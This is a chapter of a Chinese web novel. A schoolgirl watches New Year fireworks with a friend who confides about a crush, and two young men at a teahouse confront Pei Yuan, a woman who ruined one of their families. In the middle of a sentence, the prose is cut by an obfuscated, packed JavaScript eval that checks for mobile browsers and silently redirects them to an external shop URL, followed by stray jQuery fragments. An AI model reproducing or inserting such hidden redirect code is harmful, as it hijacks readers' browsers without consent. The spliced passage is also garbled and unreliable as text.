27. 他是否看得到

作品:《雪落无痕

    闻宿雪奔到江晚妘的身边才勉强压下嘴角的笑意。她并不贪心,堇修然能够与他说这么多的话也是至幸。


    她本以为学校安排晚会已经算是开恩,没想到今晚还有一场更加盛大的烟火表演,学校开放教学楼天台供学生观看。


    闻宿雪收拾东西回家的念头再次被打散。江晚妘激动地拉着她往教学楼的方向跑去。


    他们逆着人群行走,走读生的数量居多,他们晚会大多数抱着看“堇修然”的心理来得,结束散场了,自然要回家陪父母。


    至少,踩着十二点说一句“元旦快乐”。


    教学楼天台防护措施做得很好,外侧护栏足有两米高。


    这次人数不多,闻宿雪四处观望一下,大约也就几十人左右。他们每人手里都拿着学校暂还的手机,纷纷打开相机,静静地等待着烟火。


    江晚妘不忍心破坏这氛围感,挤到闻宿雪身边,用两个人可以听到的音量说道“人这么少,我们两个不会被林清许那家伙给骗了吧。”


    “应该不会,现在还早着,我们耐心的等等看。”闻宿雪害怕挤到她,往旁边的空位挪了挪。


    江晚妘抬手虚虚地圈住她,另一只手从衣服口袋里掏出手机来,解开屏幕,噼里啪啦打字音在闻宿雪的耳边响起。


    闻宿雪没有偷窥别人的兴趣,奈何江晚妘分享欲太强,她不知道在和谁聊天。几乎是没打几句话,便转过头询问闻宿雪对那几句话的看法。


    江晚妘说的每一句话,她都在以自己的角度认真的回应着,就是不知道江晚妘抱着个手机听进去几个字。


    闻宿雪见人半天没反应,无奈一笑,抬眸望向星空。看着浩瀚星空,残缺的月有着别样的美感,她忽然理解了书中的那句“月明星稀”。


    不仅月光,今天晚上的风也是格外轻柔,吹的人昏昏欲睡。他们学校的作息规律,有几个已经撑不过去,席地而躺。


    要不是江晚妘小声小气地陪她说话,她估摸着自己会睡过去。她不由得想到网上的那句话“年轻就是好,倒头就睡。”


    护栏那边有几个女孩子穿着薄衣短裙,腿都快站麻了,也不愿意坐下。


    她不是那么讲究的人,刚上来的时候和江晚妘去了趟教室,翻开用过的草稿纸,随手扯了一张,就这么抱膝而坐。


    不知道堇修然此时此刻是否和她一样,有个朋友在身边陪着,静默地等待着烟火的绽放。


    闻宿雪正想得出神,旁边的江晚妘忽然冒出了一句,“雪雪,你知不知道喜欢一个人是什么感觉?”


    像是被戳中心事一般,闻宿雪僵硬地转过身子,不敢直视她的眼睛,“啊?为什么突然要问这个。”


    江晚妘关闭手机屏幕,挤到她的身边,两人挨得极近。


    “前两天,我不是和你说加了Crush的企鹅嘛。最近这段时间我一直都和他有联系,我说的每一句他都有回应。”


    闻宿雪笑道,“那不是挺好吗?”


    江晚妘像只泄了气的皮球,“我知道,可是问题就出在这里,虽然说他每一句话都有回应,但我总感觉他发过来的消息疏离,是出于礼貌才这样回应的。”


    “而且,我还套出来了,他似乎有喜欢的人。”


    “我还是比较好奇,你隔着手机屏幕是怎么知道人家跟你不想交流的。”闻宿雪胳膊肘杵在膝盖上,撑着她的下巴,本来想用“疏离”这个字眼的,但仔细想想,她还是婉转的替换一下说辞。


    这句话成功戳到江晚妘,手机也不玩了,直接和闻宿雪讲诉起她这几天深耕得来的结果。


    她讲得很有意思,明明很普通的一件事情,从江晚妘口中说出来却极有意思。闻宿雪听得入迷,直到烟花绽放夜空的那一刻。


    这次,她又忘了问,“他”是谁。


    各色烟火在众人的惊呼声下绽放,玉树琼花,照亮了整片漆黑的夜空,如梦似幻,直到烟火光芒逐渐减弱,直至彻底消散。大家纷纷掏出手机来记录下这美好的一刻。


    江晚妘不再压抑自己,牵着她的手来到护栏前,踮起脚尖用手掌作喇叭,发出惊呼声,还不忘带上闻宿雪一起。


    此情此景,闻宿雪脑子只有一个念头,“他是否也可以看见这么好看的烟火?”


    她隐没在喧嚣里的欢喜,难以言喻。左手捂住自己的心口,感受着加速的心跳声。


    堇修然和闻宿雪短暂的交谈后,按照班主任交代的,去了学校声乐室拿了资料汇总,交到她的手里,就出学校,去了听紫云。


    听紫云位置特殊,实验的烟火在这里也可以看得到。


    堇修然倚靠着门框,静默地望着天上转瞬即逝的烟火,久久不发一言,只留给顾韫书一个背影。


    顾韫书身着长衫白袍端坐在茶桌前,提着茶壶,手腕微微下压,茶水从壶嘴里流出来落在小杯中。倒茶时,水温升起的薄雾遮住了他的模样。


    等到温度适宜,他端起茶盏抿了一口,“新进的茶叶,味道不错,过来尝尝。”


    见人没有任何反应,顾韫书挑眉一笑,不紧不慢地放下手中的杯盏。拿过对面的小杯,渡步到堇修然面前,将手中的茶递了出去,“往年的这个时候,你不都是陪你母亲一起前往巴塞罗那,怎么今年选择留在这小小的古城里。”


    堇修然接过他手中的茶,抬眸睨了他一眼,“你这不是明知故问?”刚说完,他想起什么似的,补了一句“再说,你不也没回去。”


    顾韫书负手而立,“那房子空荡荡的,没人气,去了也没意思。”


    “嗯,也是。”堇修然修长的手指捏着茶盏,他低头看向茶汤后,轻抿了一口,喉结微动,他当即瞪大了眸子,艰难地吞咽下口中苦而后涩的液体。


    “你故意的?”


    顾韫书略微颔首,唇角上扬默认了自己的行为,难得见他有如此生动有趣的表情,虽然说不太好看就是。


    前台咨客来到他们面前,曲起手指,轻叩了三下门,“老板,前台有位姓裴的女士找您。”


    两人惬意的品茶被生生打断。


    “她倒也是厉害,居然找到这里来。”堇修然冷冷地冒出一句。


    顾韫书手掌拍了下他的肩,“走吧,去看看她还有什么把戏。”


    二人随着前台来到宴客厅,有位身姿婀娜的女子端坐在太师椅上,只是妆化得再艳丽,脸上也难以掩盖疲惫。


    等到他们走近了,裴媛站起身来,深吸了口气,艰难地开口说道,“我认输了,我过两天就会出国,此生都不会再掺和你们顾氏。”


    音色嘶哑难以入耳,像是废弃几年的机械再次运作。


    “认输?你将一池子的水都搅浑了,就想要脱身离开,世界上哪有这么好的事情。”顾韫书眸中闪过寒光。


    “老爷子心软放过你,你不直接消失,还敢出现?”


    “你不会是天真的以为,如今是法制社会,我就奈何不了你。”顾韫书脱口而出的话语,让人不寒而栗。


    裴媛感受到他言语中的深意,明明是夏天,她却觉得像进了冰窖一样,额头冷汗簌簌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076480|193208||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    直冒,双腿不停地打哆嗦。


    她蜷缩着手指,指尖差点嵌入掌心。疼痛使得她清醒了些,十分后悔自己为什么要到这里,嘴上却极力为自己争辩,“一个巴掌拍不响,当初的那件事情,有错不只是我一个!”


    顾韫书周身散发着危险的气息,就连堇修然也不由得佩服眼前的女人,居然能让顾韫书怒火中烧成这个模样,倒也是稀奇。


    关于裴媛的缘由,他倒是略知一二。对错如何,他不知道事情的全貌,不过多的做评价。


    堇修然自觉不是圣人,作为顾韫书的挚友,他只能站在顾韫书的立场和角度思考。


    顾韫书的父亲多年前被裴媛算计,中了圈套,被逼的脱离自己苦心经营的集团,不能在踏入故土一步,在异国他乡郁郁而终。顾韫书的母亲忧心过度,重症不治,知道自己活不长了,选择挑海,落得给葬身鱼腹的下场。


    昔日裴媛家族的落败,和顾氏上一辈脱不了干系,也就是顾韫书的祖父。两家公平竞争,然而,出了点意外。


    这场意外重创裴家,看似所有人都是受害者,裴媛不知道恨谁,受了顾氏对家的挑拨离间,将仇恨归结到顾氏集团。


    直接害死了顾韫书的父母,搅乱了整个顾家。


    顾韫书微眯着眼睛,那目光像是在看死人,嘴角的笑意让人疹得慌。


    裴媛被看得胆战心惊,想说些什么,但多说多错,静静死咬着下唇不敢出声。


    顾韫书冷呵一声,不紧不慢地捏碎了手中的茶盏,瓷器破碎的声音响起,他手掌留下血珠。“我不动你。”


    裴媛悬着嗓子眼的心还没有落到底,顾韫书低声的嗓音又再次响起。


    “但,凡事因果有轮回,你做过的事情,迟早有一天会报应在自己身上。”


    顾韫书站起身来,抬脚踩在碎片上轻碾,发出清脆的声音,阴沉沉地睨了她一眼,“你自己好自为之。”


    “夏云,送客。”


    “好的,老板。”那个名叫夏云的女孩子,放下手中的单子,离开前台工位走到裴媛的面前,恭敬地做了个“请”的手势。


    裴媛沉重地咽下心中的这口气,她知道顾韫书说这话的分量,也不敢再过多停留。她悔悟的太晚,事情走到今天这个地步已经无可挽回,只能去到国外,珍惜余下的时日。


    等人走后,堇修然轻叹一声,手里拎着一个医药箱,不知道什么时候拿来的。


    堇修然打开箱子拿出碘伏和棉布,拉过顾韫书的手简单的处理了一下。


    确保不会伤口感染后,他才裹了几圈纱布,要打结的时候,恶趣味般地打了个蝴蝶结,好像是在报复顾韫书刚刚的茶汤之仇。


    东西被他放回箱子,“行了,这两天别碰水。”


    顾韫书压下心头的怒气,认真的道了声谢。


    “不必谢我,我原本以为这杯子会落在那人的身上。”堇修然说完,低头看了眼不远处被打扫干净的碎片。


    顾韫书倚靠在盘龙柱上,沉默片刻,最后憋出一句,“我送送你。”


    他这是给堇修然下了逐客令。


    “不用,你还是好好养伤。”


    堇修然说完这句话,便离开了听紫云。


    等人没了踪影,顾韫书让夏云离开,独自一人端坐在宴客厅里,右手捂面,指缝间流下一道水痕。


    “认输有什么用,一切都回不到过去。”男人声音梗塞嘶哑。


    装潢华贵的宴客厅里,薄纱帷幕随风飘摇,只留他一人的回音,没有人可以应他。